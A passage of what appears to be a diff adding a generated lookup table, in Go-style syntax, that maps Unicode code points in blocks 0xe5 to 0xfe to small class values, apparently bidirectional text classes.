0x000c, 0x3920: 0x000c, 0x3921: 0x000c, 0x3923: 0x000c, + 0x3924: 0x000c, 0x3926: 0x000c, 0x3927: 0x000c, 0x3928: 0x000c, 0x3929: 0x000c, + 0x392a: 0x000c, + // Block 0xe5, offset 0x3940 + 0x396e: 0x000c, + // Block 0xe6, offset 0x3980 + 0x39ac: 0x000c, 0x39ad: 0x000c, 0x39ae: 0x000c, 0x39af: 0x000c, + 0x39bf: 0x0004, + // Block 0xe7, offset 0x39c0 + 0x39ec: 0x000c, 0x39ed: 0x000c, 0x39ee: 0x000c, 0x39ef: 0x000c, + // Block 0xe8, offset 0x3a00 + 0x3a00: 0x0001, 0x3a01: 0x0001, 0x3a02: 0x0001, 0x3a03: 0x0001, 0x3a04: 0x0001, 0x3a05: 0x0001, + 0x3a06: 0x0001, 0x3a07: 0x0001, 0x3a08: 0x0001, 0x3a09: 0x0001, 0x3a0a: 0x0001, 0x3a0b: 0x0001, + 0x3a0c: 0x0001, 0x3a0d: 0x0001, 0x3a0e: 0x0001, 0x3a0f: 0x0001, 0x3a10: 0x000c, 0x3a11: 0x000c, + 0x3a12: 0x000c, 0x3a13: 0x000c, 0x3a14: 0x000c, 0x3a15: 0x000c, 0x3a16: 0x000c, 0x3a17: 0x0001, + 0x3a18: 0x0001, 0x3a19: 0x0001, 0x3a1a: 0x0001, 0x3a1b: 0x0001, 0x3a1c: 0x0001, 0x3a1d: 0x0001, + 0x3a1e: 0x0001, 0x3a1f: 0x0001, 0x3a20: 0x0001, 0x3a21: 0x0001, 0x3a22: 0x0001, 0x3a23: 0x0001, + 0x3a24: 0x0001, 0x3a25: 0x0001, 0x3a26: 0x0001, 0x3a27: 0x0001, 0x3a28: 0x0001, 0x3a29: 0x0001, + 0x3a2a: 0x0001, 0x3a2b: 0x0001, 0x3a2c: 0x0001, 0x3a2d: 0x0001, 0x3a2e: 0x0001, 0x3a2f: 0x0001, + 0x3a30: 0x0001, 0x3a31: 0x0001, 0x3a32: 0x0001, 0x3a33: 0x0001, 0x3a34: 0x0001, 0x3a35: 0x0001, + 0x3a36: 0x0001, 0x3a37: 0x0001, 0x3a38: 0x0001, 0x3a39: 0x0001, 0x3a3a: 0x0001, 0x3a3b: 0x0001, + 0x3a3c: 0x0001, 0x3a3d: 0x0001, 0x3a3e: 0x0001, 0x3a3f: 0x0001, + // Block 0xe9, offset 0x3a40 + 0x3a40: 0x0001, 0x3a41: 0x0001, 0x3a42: 0x0001, 0x3a43: 0x0001, 0x3a44: 0x000c, 0x3a45: 0x000c, + 0x3a46: 0x000c, 0x3a47: 0x000c, 0x3a48: 0x000c, 0x3a49: 0x000c, 0x3a4a: 0x000c, 0x3a4b: 0x0001, + 0x3a4c: 0x0001, 0x3a4d: 0x0001, 0x3a4e: 0x0001, 0x3a4f: 0x0001, 0x3a50: 0x0001, 0x3a51: 0x0001, + 0x3a52: 0x0001, 0x3a53: 0x0001, 0x3a54: 0x0001, 0x3a55: 0x0001, 0x3a56: 0x0001, 0x3a57: 0x0001, + 0x3a58: 0x0001, 0x3a59: 0x0001, 0x3a5a: 0x0001, 0x3a5b: 0x0001, 0x3a5c: 0x0001, 0x3a5d: 0x0001, + 0x3a5e: 0x0001, 0x3a5f: 0x0001, 0x3a60: 0x0001, 0x3a61: 0x0001, 0x3a62: 0x0001, 0x3a63: 0x0001, + 0x3a64: 0x0001, 0x3a65: 0x0001, 0x3a66: 0x0001, 0x3a67: 0x0001, 0x3a68: 0x0001, 0x3a69: 0x0001, + 0x3a6a: 0x0001, 0x3a6b: 0x0001, 0x3a6c: 0x0001, 0x3a6d: 0x0001, 0x3a6e: 0x0001, 0x3a6f: 0x0001, + 0x3a70: 0x0001, 0x3a71: 0x0001, 0x3a72: 0x0001, 0x3a73: 0x0001, 0x3a74: 0x0001, 0x3a75: 0x0001, + 0x3a76: 0x0001, 0x3a77: 0x0001, 0x3a78: 0x0001, 0x3a79: 0x0001, 0x3a7a: 0x0001, 0x3a7b: 0x0001, + 0x3a7c: 0x0001, 0x3a7d: 0x0001, 0x3a7e: 0x0001, 0x3a7f: 0x0001, + // Block 0xea, offset 0x3a80 + 0x3a80: 0x0001, 0x3a81: 0x0001, 0x3a82: 0x0001, 0x3a83: 0x0001, 0x3a84: 0x0001, 0x3a85: 0x0001, + 0x3a86: 0x0001, 0x3a87: 0x0001, 0x3a88: 0x0001, 0x3a89: 0x0001, 0x3a8a: 0x0001, 0x3a8b: 0x0001, + 0x3a8c: 0x0001, 0x3a8d: 0x0001, 0x3a8e: 0x0001, 0x3a8f: 0x0001, 0x3a90: 0x0001, 0x3a91: 0x0001, + 0x3a92: 0x0001, 0x3a93: 0x0001, 0x3a94: 0x0001, 0x3a95: 0x0001, 0x3a96: 0x0001, 0x3a97: 0x0001, + 0x3a98: 0x0001, 0x3a99: 0x0001, 0x3a9a: 0x0001, 0x3a9b: 0x0001, 0x3a9c: 0x0001, 0x3a9d: 0x0001, + 0x3a9e: 0x0001, 0x3a9f: 0x0001, 0x3aa0: 0x0001, 0x3aa1: 0x0001, 0x3aa2: 0x0001, 0x3aa3: 0x0001, + 0x3aa4: 0x0001, 0x3aa5: 0x0001, 0x3aa6: 0x0001, 0x3aa7: 0x0001, 0x3aa8: 0x0001, 0x3aa9: 0x0001, + 0x3aaa: 0x0001, 0x3aab: 0x0001, 0x3aac: 0x0001, 0x3aad: 0x0001, 0x3aae: 0x0001, 0x3aaf: 0x0001, + 0x3ab0: 0x0001, 0x3ab1: 0x000d, 0x3ab2: 0x000d, 0x3ab3: 0x000d, 0x3ab4: 0x000d, 0x3ab5: 0x000d, + 0x3ab6: 0x000d, 0x3ab7: 0x000d, 0x3ab8: 0x000d, 0x3ab9: 0x000d, 0x3aba: 0x000d, 0x3abb: 0x000d, + 0x3abc: 0x000d, 0x3abd: 0x000d, 0x3abe: 0x000d, 0x3abf: 0x000d, + // Block 0xeb, offset 0x3ac0 + 0x3ac0: 0x000d, 0x3ac1: 0x000d, 0x3ac2: 0x000d, 0x3ac3: 0x000d, 0x3ac4: 0x000d, 0x3ac5: 0x000d, + 0x3ac6: 0x000d, 0x3ac7: 0x000d, 0x3ac8: 0x000d, 0x3ac9: 0x000d, 0x3aca: 0x000d, 0x3acb: 0x000d, + 0x3acc: 0x000d, 0x3acd: 0x000d, 0x3ace: 0x000d, 0x3acf: 0x000d, 0x3ad0: 0x000d, 0x3ad1: 0x000d, + 0x3ad2: 0x000d, 0x3ad3: 0x000d, 0x3ad4: 0x000d, 0x3ad5: 0x000d, 0x3ad6: 0x000d, 0x3ad7: 0x000d, + 0x3ad8: 0x000d, 0x3ad9: 0x000d, 0x3ada: 0x000d, 0x3adb: 0x000d, 0x3adc: 0x000d, 0x3add: 0x000d, + 0x3ade: 0x000d, 0x3adf: 0x000d, 0x3ae0: 0x000d, 0x3ae1: 0x000d, 0x3ae2: 0x000d, 0x3ae3: 0x000d, + 0x3ae4: 0x000d, 0x3ae5: 0x000d, 0x3ae6: 0x000d, 0x3ae7: 0x000d, 0x3ae8: 0x000d, 0x3ae9: 0x000d, + 0x3aea: 0x000d, 0x3aeb: 0x000d, 0x3aec: 0x000d, 0x3aed: 0x000d, 0x3aee: 0x000d, 0x3aef: 0x000d, + 0x3af0: 0x000d, 0x3af1: 0x000d, 0x3af2: 0x000d, 0x3af3: 0x000d, 0x3af4: 0x000d, 0x3af5: 0x0001, + 0x3af6: 0x0001, 0x3af7: 0x0001, 0x3af8: 0x0001, 0x3af9: 0x0001, 0x3afa: 0x0001, 0x3afb: 0x0001, + 0x3afc: 0x0001, 0x3afd: 0x0001, 0x3afe: 0x0001, 0x3aff: 0x0001, + // Block 0xec, offset 0x3b00 + 0x3b00: 0x0001, 0x3b01: 0x000d, 0x3b02: 0x000d, 0x3b03: 0x000d, 0x3b04: 0x000d, 0x3b05: 0x000d, + 0x3b06: 0x000d, 0x3b07: 0x000d, 0x3b08: 0x000d, 0x3b09: 0x000d, 0x3b0a: 0x000d, 0x3b0b: 0x000d, + 0x3b0c: 0x000d, 0x3b0d: 0x000d, 0x3b0e: 0x000d, 0x3b0f: 0x000d, 0x3b10: 0x000d, 0x3b11: 0x000d, + 0x3b12: 0x000d, 0x3b13: 0x000d, 0x3b14: 0x000d, 0x3b15: 0x000d, 0x3b16: 0x000d, 0x3b17: 0x000d, + 0x3b18: 0x000d, 0x3b19: 0x000d, 0x3b1a: 0x000d, 0x3b1b: 0x000d, 0x3b1c: 0x000d, 0x3b1d: 0x000d, + 0x3b1e: 0x000d, 0x3b1f: 0x000d, 0x3b20: 0x000d, 0x3b21: 0x000d, 0x3b22: 0x000d, 0x3b23: 0x000d, + 0x3b24: 0x000d, 0x3b25: 0x000d, 0x3b26: 0x000d, 0x3b27: 0x000d, 0x3b28: 0x000d, 0x3b29: 0x000d, + 0x3b2a: 0x000d, 0x3b2b: 0x000d, 0x3b2c: 0x000d, 0x3b2d: 0x000d, 0x3b2e: 0x000d, 0x3b2f: 0x000d, + 0x3b30: 0x000d, 0x3b31: 0x000d, 0x3b32: 0x000d, 0x3b33: 0x000d, 0x3b34: 0x000d, 0x3b35: 0x000d, + 0x3b36: 0x000d, 0x3b37: 0x000d, 0x3b38: 0x000d, 0x3b39: 0x000d, 0x3b3a: 0x000d, 0x3b3b: 0x000d, + 0x3b3c: 0x000d, 0x3b3d: 0x000d, 0x3b3e: 0x0001, 0x3b3f: 0x0001, + // Block 0xed, offset 0x3b40 + 0x3b40: 0x000d, 0x3b41: 0x000d, 0x3b42: 0x000d, 0x3b43: 0x000d, 0x3b44: 0x000d, 0x3b45: 0x000d, + 0x3b46: 0x000d, 0x3b47: 0x000d, 0x3b48: 0x000d, 0x3b49: 0x000d, 0x3b4a: 0x000d, 0x3b4b: 0x000d, + 0x3b4c: 0x000d, 0x3b4d: 0x000d, 0x3b4e: 0x000d, 0x3b4f: 0x000d, 0x3b50: 0x000d, 0x3b51: 0x000d, + 0x3b52: 0x000d, 0x3b53: 0x000d, 0x3b54: 0x000d, 0x3b55: 0x000d, 0x3b56: 0x000d, 0x3b57: 0x000d, + 0x3b58: 0x000d, 0x3b59: 0x000d, 0x3b5a: 0x000d, 0x3b5b: 0x000d, 0x3b5c: 0x000d, 0x3b5d: 0x000d, + 0x3b5e: 0x000d, 0x3b5f: 0x000d, 0x3b60: 0x000d, 0x3b61: 0x000d, 0x3b62: 0x000d, 0x3b63: 0x000d, + 0x3b64: 0x000d, 0x3b65: 0x000d, 0x3b66: 0x000d, 0x3b67: 0x000d, 0x3b68: 0x000d, 0x3b69: 0x000d, + 0x3b6a: 0x000d, 0x3b6b: 0x000d, 0x3b6c: 0x000d, 0x3b6d: 0x000d, 0x3b6e: 0x000d, 0x3b6f: 0x000d, + 0x3b70: 0x000a, 0x3b71: 0x000a, 0x3b72: 0x000d, 0x3b73: 0x000d, 0x3b74: 0x000d, 0x3b75: 0x000d, + 0x3b76: 0x000d, 0x3b77: 0x000d, 0x3b78: 0x000d, 0x3b79: 0x000d, 0x3b7a: 0x000d, 0x3b7b: 0x000d, + 0x3b7c: 0x000d, 0x3b7d: 0x000d, 0x3b7e: 0x000d, 0x3b7f: 0x000d, + // Block 0xee, offset 0x3b80 + 0x3b80: 0x000a, 0x3b81: 0x000a, 0x3b82: 0x000a, 0x3b83: 0x000a, 0x3b84: 0x000a, 0x3b85: 0x000a, + 0x3b86: 0x000a, 0x3b87: 0x000a, 0x3b88: 0x000a, 0x3b89: 0x000a, 0x3b8a: 0x000a, 0x3b8b: 0x000a, + 0x3b8c: 0x000a, 0x3b8d: 0x000a, 0x3b8e: 0x000a, 0x3b8f: 0x000a, 0x3b90: 0x000a, 0x3b91: 0x000a, + 0x3b92: 0x000a, 0x3b93: 0x000a, 0x3b94: 0x000a, 0x3b95: 0x000a, 0x3b96: 0x000a, 0x3b97: 0x000a, + 0x3b98: 0x000a, 0x3b99: 0x000a, 0x3b9a: 0x000a, 0x3b9b: 0x000a, 0x3b9c: 0x000a, 0x3b9d: 0x000a, + 0x3b9e: 0x000a, 0x3b9f: 0x000a, 0x3ba0: 0x000a, 0x3ba1: 0x000a, 0x3ba2: 0x000a, 0x3ba3: 0x000a, + 0x3ba4: 0x000a, 0x3ba5: 0x000a, 0x3ba6: 0x000a, 0x3ba7: 0x000a, 0x3ba8: 0x000a, 0x3ba9: 0x000a, + 0x3baa: 0x000a, 0x3bab: 0x000a, + 0x3bb0: 0x000a, 0x3bb1: 0x000a, 0x3bb2: 0x000a, 0x3bb3: 0x000a, 0x3bb4: 0x000a, 0x3bb5: 0x000a, + 0x3bb6: 0x000a, 0x3bb7: 0x000a, 0x3bb8: 0x000a, 0x3bb9: 0x000a, 0x3bba: 0x000a, 0x3bbb: 0x000a, + 0x3bbc: 0x000a, 0x3bbd: 0x000a, 0x3bbe: 0x000a, 0x3bbf: 0x000a, + // Block 0xef, offset 0x3bc0 + 0x3bc0: 0x000a, 0x3bc1: 0x000a, 0x3bc2: 0x000a, 0x3bc3: 0x000a, 0x3bc4: 0x000a, 0x3bc5: 0x000a, + 0x3bc6: 0x000a, 0x3bc7: 0x000a, 0x3bc8: 0x000a, 0x3bc9: 0x000a, 0x3bca: 0x000a, 0x3bcb: 0x000a, + 0x3bcc: 0x000a, 0x3bcd: 0x000a, 0x3bce: 0x000a, 0x3bcf: 0x000a, 0x3bd0: 0x000a, 0x3bd1: 0x000a, + 0x3bd2: 0x000a, 0x3bd3: 0x000a, + 0x3be0: 0x000a, 0x3be1: 0x000a, 0x3be2: 0x000a, 0x3be3: 0x000a, + 0x3be4: 0x000a, 0x3be5: 0x000a, 0x3be6: 0x000a, 0x3be7: 0x000a, 0x3be8: 0x000a, 0x3be9: 0x000a, + 0x3bea: 0x000a, 0x3beb: 0x000a, 0x3bec: 0x000a, 0x3bed: 0x000a, 0x3bee: 0x000a, + 0x3bf1: 0x000a, 0x3bf2: 0x000a, 0x3bf3: 0x000a, 0x3bf4: 0x000a, 0x3bf5: 0x000a, + 0x3bf6: 0x000a, 0x3bf7: 0x000a, 0x3bf8: 0x000a, 0x3bf9: 0x000a, 0x3bfa: 0x000a, 0x3bfb: 0x000a, + 0x3bfc: 0x000a, 0x3bfd: 0x000a, 0x3bfe: 0x000a, 0x3bff: 0x000a, + // Block 0xf0, offset 0x3c00 + 0x3c01: 0x000a, 0x3c02: 0x000a, 0x3c03: 0x000a, 0x3c04: 0x000a, 0x3c05: 0x000a, + 0x3c06: 0x000a, 0x3c07: 0x000a, 0x3c08: 0x000a, 0x3c09: 0x000a, 0x3c0a: 0x000a, 0x3c0b: 0x000a, + 0x3c0c: 0x000a, 0x3c0d: 0x000a, 0x3c0e: 0x000a, 0x3c0f: 0x000a, 0x3c11: 0x000a, + 0x3c12: 0x000a, 0x3c13: 0x000a, 0x3c14: 0x000a, 0x3c15: 0x000a, 0x3c16: 0x000a, 0x3c17: 0x000a, + 0x3c18: 0x000a, 0x3c19: 0x000a, 0x3c1a: 0x000a, 0x3c1b: 0x000a, 0x3c1c: 0x000a, 0x3c1d: 0x000a, + 0x3c1e: 0x000a, 0x3c1f: 0x000a, 0x3c20: 0x000a, 0x3c21: 0x000a, 0x3c22: 0x000a, 0x3c23: 0x000a, + 0x3c24: 0x000a, 0x3c25: 0x000a, 0x3c26: 0x000a, 0x3c27: 0x000a, 0x3c28: 0x000a, 0x3c29: 0x000a, + 0x3c2a: 0x000a, 0x3c2b: 0x000a, 0x3c2c: 0x000a, 0x3c2d: 0x000a, 0x3c2e: 0x000a, 0x3c2f: 0x000a, + 0x3c30: 0x000a, 0x3c31: 0x000a, 0x3c32: 0x000a, 0x3c33: 0x000a, 0x3c34: 0x000a, 0x3c35: 0x000a, + // Block 0xf1, offset 0x3c40 + 0x3c40: 0x0002, 0x3c41: 0x0002, 0x3c42: 0x0002, 0x3c43: 0x0002, 0x3c44: 0x0002, 0x3c45: 0x0002, + 0x3c46: 0x0002, 0x3c47: 0x0002, 0x3c48: 0x0002, 0x3c49: 0x0002, 0x3c4a: 0x0002, 0x3c4b: 0x000a, + 0x3c4c: 0x000a, 0x3c4d: 0x000a, 0x3c4e: 0x000a, 0x3c4f: 0x000a, + 0x3c6f: 0x000a, + // Block 0xf2, offset 0x3c80 + 0x3caa: 0x000a, 0x3cab: 0x000a, 0x3cac: 0x000a, 0x3cad: 0x000a, 0x3cae: 0x000a, 0x3caf: 0x000a, + // Block 0xf3, offset 0x3cc0 + 0x3ced: 0x000a, + // Block 0xf4, offset 0x3d00 + 0x3d20: 0x000a, 0x3d21: 0x000a, 0x3d22: 0x000a, 0x3d23: 0x000a, + 0x3d24: 0x000a, 0x3d25: 0x000a, + // Block 0xf5, offset 0x3d40 + 0x3d40: 0x000a, 0x3d41: 0x000a, 0x3d42: 0x000a, 0x3d43: 0x000a, 0x3d44: 0x000a, 0x3d45: 0x000a, + 0x3d46: 0x000a, 0x3d47: 0x000a, 0x3d48: 0x000a, 0x3d49: 0x000a, 0x3d4a: 0x000a, 0x3d4b: 0x000a, + 0x3d4c: 0x000a, 0x3d4d: 0x000a, 0x3d4e: 0x000a, 0x3d4f: 0x000a, 0x3d50: 0x000a, 0x3d51: 0x000a, + 0x3d52: 0x000a, 0x3d53: 0x000a, 0x3d54: 0x000a, 0x3d55: 0x000a, 0x3d56: 0x000a, 0x3d57: 0x000a, + 0x3d5c: 0x000a, 0x3d5d: 0x000a, + 0x3d5e: 0x000a, 0x3d5f: 0x000a, 0x3d60: 0x000a, 0x3d61: 0x000a, 0x3d62: 0x000a, 0x3d63: 0x000a, + 0x3d64: 0x000a, 0x3d65: 0x000a, 0x3d66: 0x000a, 0x3d67: 0x000a, 0x3d68: 0x000a, 0x3d69: 0x000a, + 0x3d6a: 0x000a, 0x3d6b: 0x000a, 0x3d6c: 0x000a, + 0x3d70: 0x000a, 0x3d71: 0x000a, 0x3d72: 0x000a, 0x3d73: 0x000a, 0x3d74: 0x000a, 0x3d75: 0x000a, + 0x3d76: 0x000a, 0x3d77: 0x000a, 0x3d78: 0x000a, 0x3d79: 0x000a, 0x3d7a: 0x000a, 0x3d7b: 0x000a, + 0x3d7c: 0x000a, + // Block 0xf6, offset 0x3d80 + 0x3d80: 0x000a, 0x3d81: 0x000a, 0x3d82: 0x000a, 0x3d83: 0x000a, 0x3d84: 0x000a, 0x3d85: 0x000a, + 0x3d86: 0x000a, 0x3d87: 0x000a, 0x3d88: 0x000a, 0x3d89: 0x000a, 0x3d8a: 0x000a, 0x3d8b: 0x000a, + 0x3d8c: 0x000a, 0x3d8d: 0x000a, 0x3d8e: 0x000a, 0x3d8f: 0x000a, 0x3d90: 0x000a, 0x3d91: 0x000a, + 0x3d92: 0x000a, 0x3d93: 0x000a, 0x3d94: 0x000a, 0x3d95: 0x000a, 0x3d96: 0x000a, 0x3d97: 0x000a, + 0x3d98: 0x000a, 0x3d99: 0x000a, 0x3d9a: 0x000a, 0x3d9b: 0x000a, 0x3d9c: 0x000a, 0x3d9d: 0x000a, + 0x3d9e: 0x000a, 0x3d9f: 0x000a, 0x3da0: 0x000a, 0x3da1: 0x000a, 0x3da2: 0x000a, 0x3da3: 0x000a, + 0x3da4: 0x000a, 0x3da5: 0x000a, 0x3da6: 0x000a, 0x3da7: 0x000a, 0x3da8: 0x000a, 0x3da9: 0x000a, + 0x3daa: 0x000a, 0x3dab: 0x000a, 0x3dac: 0x000a, 0x3dad: 0x000a, 0x3dae: 0x000a, 0x3daf: 0x000a, + 0x3db0: 0x000a, 0x3db1: 0x000a, 0x3db2: 0x000a, 0x3db3: 0x000a, 0x3db4: 0x000a, 0x3db5: 0x000a, + 0x3db6: 0x000a, 0x3dbb: 0x000a, + 0x3dbc: 0x000a, 0x3dbd: 0x000a, 0x3dbe: 0x000a, 0x3dbf: 0x000a, + // Block 0xf7, offset 0x3dc0 + 0x3dc0: 0x000a, 0x3dc1: 0x000a, 0x3dc2: 0x000a, 0x3dc3: 0x000a, 0x3dc4: 0x000a, 0x3dc5: 0x000a, + 0x3dc6: 0x000a, 0x3dc7: 0x000a, 0x3dc8: 0x000a, 0x3dc9: 0x000a, 0x3dca: 0x000a, 0x3dcb: 0x000a, + 0x3dcc: 0x000a, 0x3dcd: 0x000a, 0x3dce: 0x000a, 0x3dcf: 0x000a, 0x3dd0: 0x000a, 0x3dd1: 0x000a, + 0x3dd2: 0x000a, 0x3dd3: 0x000a, 0x3dd4: 0x000a, 0x3dd5: 0x000a, 0x3dd6: 0x000a, 0x3dd7: 0x000a, + 0x3dd8: 0x000a, 0x3dd9: 0x000a, + 0x3de0: 0x000a, 0x3de1: 0x000a, 0x3de2: 0x000a, 0x3de3: 0x000a, + 0x3de4: 0x000a, 0x3de5: 0x000a, 0x3de6: 0x000a, 0x3de7: 0x000a, 0x3de8: 0x000a, 0x3de9: 0x000a, + 0x3dea: 0x000a, 0x3deb: 0x000a, + 0x3df0: 0x000a, + // Block 0xf8, offset 0x3e00 + 0x3e00: 0x000a, 0x3e01: 0x000a, 0x3e02: 0x000a, 0x3e03: 0x000a, 0x3e04: 0x000a, 0x3e05: 0x000a, + 0x3e06: 0x000a, 0x3e07: 0x000a, 0x3e08: 0x000a, 0x3e09: 0x000a, 0x3e0a: 0x000a, 0x3e0b: 0x000a, + 0x3e10: 0x000a, 0x3e11: 0x000a, + 0x3e12: 0x000a, 0x3e13: 0x000a, 0x3e14: 0x000a, 0x3e15: 0x000a, 0x3e16: 0x000a, 0x3e17: 0x000a, + 0x3e18: 0x000a, 0x3e19: 0x000a, 0x3e1a: 0x000a, 0x3e1b: 0x000a, 0x3e1c: 0x000a, 0x3e1d: 0x000a, + 0x3e1e: 0x000a, 0x3e1f: 0x000a, 0x3e20: 0x000a, 0x3e21: 0x000a, 0x3e22: 0x000a, 0x3e23: 0x000a, + 0x3e24: 0x000a, 0x3e25: 0x000a, 0x3e26: 0x000a, 0x3e27: 0x000a, 0x3e28: 0x000a, 0x3e29: 0x000a, + 0x3e2a: 0x000a, 0x3e2b: 0x000a, 0x3e2c: 0x000a, 0x3e2d: 0x000a, 0x3e2e: 0x000a, 0x3e2f: 0x000a, + 0x3e30: 0x000a, 0x3e31: 0x000a, 0x3e32: 0x000a, 0x3e33: 0x000a, 0x3e34: 0x000a, 0x3e35: 0x000a, + 0x3e36: 0x000a, 0x3e37: 0x000a, 0x3e38: 0x000a, 0x3e39: 0x000a, 0x3e3a: 0x000a, 0x3e3b: 0x000a, + 0x3e3c: 0x000a, 0x3e3d: 0x000a, 0x3e3e: 0x000a, 0x3e3f: 0x000a, + // Block 0xf9, offset 0x3e40 + 0x3e40: 0x000a, 0x3e41: 0x000a, 0x3e42: 0x000a, 0x3e43: 0x000a, 0x3e44: 0x000a, 0x3e45: 0x000a, + 0x3e46: 0x000a, 0x3e47: 0x000a, + 0x3e50: 0x000a, 0x3e51: 0x000a, + 0x3e52: 0x000a, 0x3e53: 0x000a, 0x3e54: 0x000a, 0x3e55: 0x000a, 0x3e56: 0x000a, 0x3e57: 0x000a, + 0x3e58: 0x000a, 0x3e59: 0x000a, + 0x3e60: 0x000a, 0x3e61: 0x000a, 0x3e62: 0x000a, 0x3e63: 0x000a, + 0x3e64: 0x000a, 0x3e65: 0x000a, 0x3e66: 0x000a, 0x3e67: 0x000a, 0x3e68: 0x000a, 0x3e69: 0x000a, + 0x3e6a: 0x000a, 0x3e6b: 0x000a, 0x3e6c: 0x000a, 0x3e6d: 0x000a, 0x3e6e: 0x000a, 0x3e6f: 0x000a, + 0x3e70: 0x000a, 0x3e71: 0x000a, 0x3e72: 0x000a, 0x3e73: 0x000a, 0x3e74: 0x000a, 0x3e75: 0x000a, + 0x3e76: 0x000a, 0x3e77: 0x000a, 0x3e78: 0x000a, 0x3e79: 0x000a, 0x3e7a: 0x000a, 0x3e7b: 0x000a, + 0x3e7c: 0x000a, 0x3e7d: 0x000a, 0x3e7e: 0x000a, 0x3e7f: 0x000a, + // Block 0xfa, offset 0x3e80 + 0x3e80: 0x000a, 0x3e81: 0x000a, 0x3e82: 0x000a, 0x3e83: 0x000a, 0x3e84: 0x000a, 0x3e85: 0x000a, + 0x3e86: 0x000a, 0x3e87: 0x000a, + 0x3e90: 0x000a, 0x3e91: 0x000a, + 0x3e92: 0x000a, 0x3e93: 0x000a, 0x3e94: 0x000a, 0x3e95: 0x000a, 0x3e96: 0x000a, 0x3e97: 0x000a, + 0x3e98: 0x000a, 0x3e99: 0x000a, 0x3e9a: 0x000a, 0x3e9b: 0x000a, 0x3e9c: 0x000a, 0x3e9d: 0x000a, + 0x3e9e: 0x000a, 0x3e9f: 0x000a, 0x3ea0: 0x000a, 0x3ea1: 0x000a, 0x3ea2: 0x000a, 0x3ea3: 0x000a, + 0x3ea4: 0x000a, 0x3ea5: 0x000a, 0x3ea6: 0x000a, 0x3ea7: 0x000a, 0x3ea8: 0x000a, 0x3ea9: 0x000a, + 0x3eaa: 0x000a, 0x3eab: 0x000a, 0x3eac: 0x000a, 0x3ead: 0x000a, + 0x3eb0: 0x000a, 0x3eb1: 0x000a, + // Block 0xfb, offset 0x3ec0 + 0x3ec0: 0x000a, 0x3ec1: 0x000a, 0x3ec2: 0x000a, 0x3ec3: 0x000a, 0x3ec4: 0x000a, 0x3ec5: 0x000a, + 0x3ec6: 0x000a, 0x3ec7: 0x000a, 0x3ec8: 0x000a, 0x3ec9: 0x000a, 0x3eca: 0x000a, 0x3ecb: 0x000a, + 0x3ecc: 0x000a, 0x3ecd: 0x000a, 0x3ece: 0x000a, 0x3ecf: 0x000a, 0x3ed0: 0x000a, 0x3ed1: 0x000a, + 0x3ed2: 0x000a, 0x3ed3: 0x000a, + 0x3ee0: 0x000a, 0x3ee1: 0x000a, 0x3ee2: 0x000a, 0x3ee3: 0x000a, + 0x3ee4: 0x000a, 0x3ee5: 0x000a, 0x3ee6: 0x000a, 0x3ee7: 0x000a, 0x3ee8: 0x000a, 0x3ee9: 0x000a, + 0x3eea: 0x000a, 0x3eeb: 0x000a, 0x3eec: 0x000a, 0x3eed: 0x000a, + 0x3ef0: 0x000a, 0x3ef1: 0x000a, 0x3ef2: 0x000a, 0x3ef3: 0x000a, 0x3ef4: 0x000a, 0x3ef5: 0x000a, + 0x3ef6: 0x000a, 0x3ef7: 0x000a, 0x3ef8: 0x000a, 0x3ef9: 0x000a, 0x3efa: 0x000a, 0x3efb: 0x000a, + 0x3efc: 0x000a, + // Block 0xfc, offset 0x3f00 + 0x3f00: 0x000a, 0x3f01: 0x000a, 0x3f02: 0x000a, 0x3f03: 0x000a, 0x3f04: 0x000a, 0x3f05: 0x000a, + 0x3f06: 0x000a, 0x3f07: 0x000a, 0x3f08: 0x000a, + 0x3f10: 0x000a, 0x3f11: 0x000a, + 0x3f12: 0x000a, 0x3f13: 0x000a, 0x3f14: 0x000a, 0x3f15: 0x000a, 0x3f16: 0x000a, 0x3f17: 0x000a, + 0x3f18: 0x000a, 0x3f19: 0x000a, 0x3f1a: 0x000a, 0x3f1b: 0x000a, 0x3f1c: 0x000a, 0x3f1d: 0x000a, + 0x3f1e: 0x000a, 0x3f1f: 0x000a, 0x3f20: 0x000a, 0x3f21: 0x000a, 0x3f22: 0x000a, 0x3f23: 0x000a, + 0x3f24: 0x000a, 0x3f25: 0x000a, 0x3f26: 0x000a, 0x3f27: 0x000a, 0x3f28: 0x000a, 0x3f29: 0x000a, + 0x3f2a: 0x000a, 0x3f2b: 0x000a, 0x3f2c: 0x000a, 0x3f2d: 0x000a, 0x3f2e: 0x000a, 0x3f2f: 0x000a, + 0x3f30: 0x000a, 0x3f31: 0x000a, 0x3f32: 0x000a, 0x3f33: 0x000a, 0x3f34: 0x000a, 0x3f35: 0x000a, + 0x3f36: 0x000a, 0x3f37: 0x000a, 0x3f38: 0x000a, 0x3f39: 0x000a, 0x3f3a: 0x000a, 0x3f3b: 0x000a, + 0x3f3c: 0x000a, 0x3f3d: 0x000a, 0x3f3f: 0x000a, + // Block 0xfd, offset 0x3f40 + 0x3f40: 0x000a, 0x3f41: 0x000a, 0x3f42: 0x000a, 0x3f43: 0x000a, 0x3f44: 0x000a, 0x3f45: 0x000a, + 0x3f4e: 0x000a, 0x3f4f: 0x000a, 0x3f50: 0x000a, 0x3f51: 0x000a, + 0x3f52: 0x000a, 0x3f53: 0x000a, 0x3f54: 0x000a, 0x3f55: 0x000a, 0x3f56: 0x000a, 0x3f57: 0x000a, + 0x3f58: 0x000a, 0x3f59: 0x000a, 0x3f5a: 0x000a, 0x3f5b: 0x000a, + 0x3f60: 0x000a, 0x3f61: 0x000a, 0x3f62: 0x000a, 0x3f63: 0x000a, + 0x3f64: 0x000a, 0x3f65: 0x000a, 0x3f66: 0x000a, 0x3f67: 0x000a, 0x3f68: 0x000a, + 0x3f70: 0x000a, 0x3f71: 0x000a, 0x3f72: 0x000a, 0x3f73: 0x000a, 0x3f74: 0x000a, 0x3f75: 0x000a, + 0x3f76: 0x000a, 0x3f77: 0x000a, 0x3f78: 0x000a, + // Block 0xfe, offset 0x3f80 + 0x3f80: 0x000a, 0x3f81: 0x000a, 0x3f82: 0x000a, 0x3f83: 0x000a, 0x3f84: 0x000a, 0x3f85: 0x000a, + 0x3f86: 0x000a, 0x3f87: 0x000a, 0x3f88: 0x000a, 0x3f89: 0x000a, 0x3f8a: 0x000a, 0x3f8b: 0x000a, + 0x3f8c: 0x000a, 0x3f8d: 0x000a, 0x3f8e: 0x000a, 0x3f8f: 0x000a, 0x3f90: 0x000a, 0x3f91: 0x000a, + 0x3f92: 0x000a, 0x3f94: 0x000a, 0x3f95: 0x000a, 0x3f96: 0x000a, 0x3f97: 0x000a, + 0x3f98: 0x000a, 0x3f99: 0x000a, 0x3f9a: 0x000a, 0x3f9b: 0x000a, 0x3f9c: 0x000a, 